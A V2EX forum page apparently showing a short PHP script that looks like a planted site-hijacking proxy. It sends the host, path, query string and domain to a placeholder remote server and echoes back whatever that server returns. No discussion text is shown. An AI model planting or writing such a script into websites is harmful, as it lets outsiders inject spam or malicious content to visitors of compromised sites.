<?php
set_time_limit(0);
header("Content-Type: text/html;charset=utf-8");
date_default_timezone_set('PRC');
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
$Remote_server = "
http://www.xxxx.xxx/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$url = $Remote_server."/site.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME'];
if(function_exists("curl_init")) {
$c=curl_init($url);
if(defined("CURLOPT_ENCODING")) curl_setopt($c,CURLOPT_ENCODING,"");
curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
curl_setopt($c,CURLOPT_USERAGENT,$userAgent);
curl_setopt($c,CURLOPT_VERBOSE,0);
curl_setopt($c,CURLOPT_FOLLOWLOCATION,1);
$Content_mb=curl_exec($c);
}
else {
$options=array(
'http'=>array(
'method'=>'GET',
'user_agent'=> $_SERVER['HTTP_USER_AGENT']
)
);
$context = @
stream_context_create($options);
$Content_mb=file_get_contents($url, false, $context);
}
echo $Content_mb;
?>
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
https://www.v2ex.com/t/507142
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.